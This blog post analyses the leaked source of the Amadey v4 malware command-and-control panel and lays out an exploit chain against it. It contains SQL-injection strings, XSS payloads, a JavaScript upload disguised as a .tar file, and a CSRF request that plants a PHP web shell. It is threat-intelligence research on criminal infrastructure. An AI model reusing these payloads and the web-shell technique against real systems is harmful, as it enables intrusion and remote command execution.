
Well, since it doesn’t work anymore I might as well write it up. A few other folks are aware of this and have written on it – notably R3V3RS3R and the indomitable Vangelis Stykas – but I thought I’d throw my hat in the ring as well regarding how Amadey v4 was super sploit-able and how one could theoretically do something like that. Since they are now on v5 and this seems to have been fixed, here’s the goods.
I also recommend Stykas’ DEFCON 31 talk, where this is done at a much larger scale and initially served as the inspiration for this exercise.
Background
Amadey is a lightweight but persistent malware strain originally observed in the wild around early 2018. Designed primarily as a loader, it has evolved over time into a more versatile stealer, often serving as a second-stage tool in multi-pronged intrusion campaigns. Its compact codebase and modular design make it attractive to threat actors operating commodity malware campaigns, especially in conjunction with other malware like SmokeLoader, RedLine, or Raccoon. Amadey typically facilitates the silent installation of additional payloads, command execution, the collection of basic system reconnaissance data, and the exfiltration of browser-stored credentials and files of interest.
Throughout its evolution, Amadey has maintained a low profile, favoring stealth and simplicity over flashy capabilities. While not as well-known in mainstream threat reporting as major info-stealers like Vidar or Agent Tesla, it has quietly persisted in cybercrime ecosystems, often distributed through exploit kits, malicious spam campaigns, and cracked software bundles. It’s also shown up in APT campaigns, notably SECRET BLIZZARD in late 2024. Its C2 communications have historically relied on plaintext HTTP, making it easy to analyze but also trivial for actors to repurpose or host on low-cost infrastructure. Despite its minimal footprint, Amadey’s success lies in its reliability and ease of customization for cybercriminals.
Features
I certainly recommend g0njxa’s interview with Amadey’s creator, InCrease. About 500 bucks in the right forums and it’s yours.
As a Loader, Amadey’s primary purpose is to maintain C2 and spin up new tasks for the infected system to execute. This can be .exe install, .ps1, .dll, etc. When the infected system checks in, it will check for new tasks and execute any new ones.
There’s also an add-on Credentials feature (Show_Cred.php) that will house stolen browser-based credentials and the like. Remember that – it comes in handy later.
The Leak
In May 2024, the complete source code of Amadey v4 was leaked on an underground forum, providing rare insight into the malware’s internals and development practices. It’s currently available on vxunderground’s GitHub. The leak includes the builder, panel code, and client source—offering a full end-to-end look at how the malware is deployed, operated, and monetized. Unlike earlier versions, v4 introduces several enhancements aimed at evasion and scalability, including improved bot tracking, updated injection routines, and a refactored panel written in PHP. The leak has since circulated widely, and has already led to the creation of forked variants and clones, some of which have begun appearing in active campaigns.
In the rest of this post, I’ll dive into the leaked Amadey v4 source code as a demonstration of a fun little known about C2 frameworks – Blue Teams tend to inherently know that two-way communication comes with vulnerability. Shoddy C2 is no exception. I suppose this could also serve as a demonstration of a code audit (lol) – though that is not something I would consider myself any good at.
Index.php
Let’s start with the main piece. Index.php is generally the C2 mechanism in which infected systems will beacon. Analysts can find system information and other data passed within the packet body.
So this is the main input for data to the C2 web app, so there’s probably some good stuff in here. First, one might suspect (and they’d be correct) that there’s SQL Injection vulnerabilities all over the place.
Here, if $taskid is crafted as ‘ OR 1=1 –, it could manipulate the query.
If $unit_id is malicious (e.g., ‘ OR ‘1’=’1), it could leak all tasks.
But perhaps most predictably, there’s no input validation for much of the C2 data inbound. This makes sense, considering the C2 is optimized to accept anything for operator usability.
In this case, one could theoretically send a POST request with any file disguised as a JPG. Pin this concept, as it’s a reoccurring theme.
Likewise, here with TAR files, which (I think) are specific to Session data. More on this one later.
Amadey prevents infection in CIS countries like a number of other malware strains by design, but this portion of index.php can bypass that. By trusting the HTTP_X_FORWARDED_FOR, an attacker could theoretically fake their IP to bypass this or load fake data. In short:
- The script does not validate admin sessions before processing requests.
- Exploit: Anyone can submit malicious data to:
- Add fake bots (POST[“r”]).
- Inject stolen credentials (POST[“cred”]).
- Manipulate task execution (POST[“e0”], POST[“d1”]).
And finally, another example of lack of input validation, POST “cred” is designed to collect browser credentials, and (notably) checks to make sure the id parameter is exactly 12 characters long. If it is, it parses the contents of the cred parameter by calling Parse_Credentials().
Nice. Stored XSS, potentially. Under the right circumstances, one could theoretically inject HTML or JavaScript that would be stored on the backend. Let’s remember that too.
Login.php
I took a look at the primary login page, though that didn’t give me much that was useable. I’ll run through it anyway just so it’s written down.
Maybe not unexpected, there’s no rate limiting on logins, so brute-force away.
Less useful, there’s no session ID regeneration after login, so in the off-chance an attacker intercepts it via any frankly unrealistic scenario, they’d be able to log in as the operator.
Similarly unrealistic (but also elsewhere throughout the webapp), there’s examples of Reflected XSS in which an attacker could craft a malicious link to send to the operator (e.g. login.php?l=<script>alert('XSS')</script>&p=test
)
Settings.php
This is less interesting but there’s an important piece in here so I’ll cover it briefly. It goes without saying that all of Settings.php requires an authenticated user for any interaction:
This probably explains why there’s no input sanitization literally anywhere here. The idea is that the operator would be logged in, and then Settings could be tweaked by said authenticated operator. Makes sense.
It’s not always clear which POST actions are referenced or re-rendered in the panel, but several — like the wallets update handler — appear to take user-supplied input with no sanitization. If any of these fields are later inserted into the HTML (for example, into a <input value=”…“>), they present a strong vector for stored XSS. This includes the cryptocurrency wallet fields, which can be overwritten with payloads that will execute when the admin revisits the Settings page.
Much like SyncTime. This setting allows the operator to set how often the infected system checks in, but the field accepts arbitrary strings. There’s zero input validation, no encoding, and no length restrictions. You can drop in a full <script> tag, base64 payload, or even attempt PHP injection – but it does require an authenticated user to get there.
So wait – I can also just.. write whatever I want to sync.php? Yes… you could theoretically do that.
Let’s recap on the most relevant stuff briefly before I move into closing this thing out.
- Index.php will let us push arbitrary files to the C2 (GET wal) as long as we throw a .tar on the end.
- Index.php will let us push arbitrary data to the C2 (POST cred) as long as we throw a 12 character ID on it.
- If we can get an authenticated user to write to sync.php, we could throw whatever we want in there.
Show_Cred.php
LOL, okay then….. POST cred shows up here (notice the “id” field as the first column). Again, no input validation. So in theory.. one could push XSS via the POST request, it show up here and it will trigger upon page view.
- Perhaps it could trigger a malicious file elsewhere on the server.
- Perhaps that malicious file was say, JavaScript but had a .tar appended on the end of it.
- Perhaps that JavaScript forced arbitrary write to sync.php, where anything goes.
- Perhaps it’s a web shell.
The Exploit Chain
This is for educational and threat intelligence purposes only, hacking is illegal and all that. This doesn’t work anymore anyway, er.. so I’ve heard. Anyway –
Step 1.) First, we take advantage of missing content validation in index.php:
if ($\_GET\["wal"\]) {
if (strcasecmp(GetFileExtension($\_FILES\['data'\]\['name'\]), 'tar') == 0) {
move_uploaded_file($\_FILES\['data'\]\['tmp_name'\], './Sessions/' . substr(GetFileName($\_FILES\['data'\]\['name'\]) , 0, 32) . '.tar') or die('');
}
exit;
}
This lets us send a GET /index.php?wal=1 with a file upload where the extension is .tar, but the contents are actually malicious JavaScript. We name it something like .tar (just .tar with no basename) to control how it gets referenced later.
The payload inside that .tar (really a .js) is:
fetch("/settings.php", {
method: "POST",
body: "sync=1&SyncTime=<?php system($\_GET\[\\"cmd\\"\]); ?>",
credentials: "include"
});
This JavaScript abuses the fact that settings.php accepts arbitrary POST input for SyncTime without any sanitization:
if (isset($\_POST\["sync"\])) {
SaveSyncTime($\_POST\["SyncTime"\]);
die;
}
SaveSyncTime() writes this raw value directly into Cfg/Sync.php, which is then executable as PHP. This gives us a classic webshell at /Cfg/Sync.php?cmd=….
Step 2.) But as we’ve established… the JS doesn’t run by itself — we need a way to execute it within the operator’s browser.
So we exploit a separate issue — a stored XSS injection — also in index.php:
if ($\_POST\["cred"\]) {
if (strlen($\_POST\["id"\]) == 12) {
Parse_Credentials($\_POST\["cred"\], ':::');
}
exit;
}
This lets us send a POST request like:
cred=<script src="./Sessions/.tar"></script>&id=86753091234
That cred value is ultimately passed through to the database (via AddToCredBase) with no HTML escaping or validation, and then rendered raw in show_cred.php:
echo "<td>" . $row\['login'\] . "</td>";
So when the C2 operator views show_cred.php, the XSS is triggered, and our uploaded .js file (disguised as a .tar) gets loaded and executed in their browser.
Because the operator is already authenticated, the script executes a CSRF-style POST to settings.php, which writes our PHP payload into sync.php.
🔗 Chain Summary
- Upload fake .tar file (actually JS) via ?wal=1 → saved as /Sessions/.tar.
- Inject stored XSS using cred=<script src=”./Sessions/.tar”></script>.
- Wait for operator to view show_cred.php, triggering the XSS.
- Malicious JS runs, CSRF-posts PHP payload to settings.php.
Sync.php is overwritten with attacker-controlled PHP → fully functional webshell. All possible with a couple curl commands.
Here’s a fancy diagram that hopefully better illustrates it: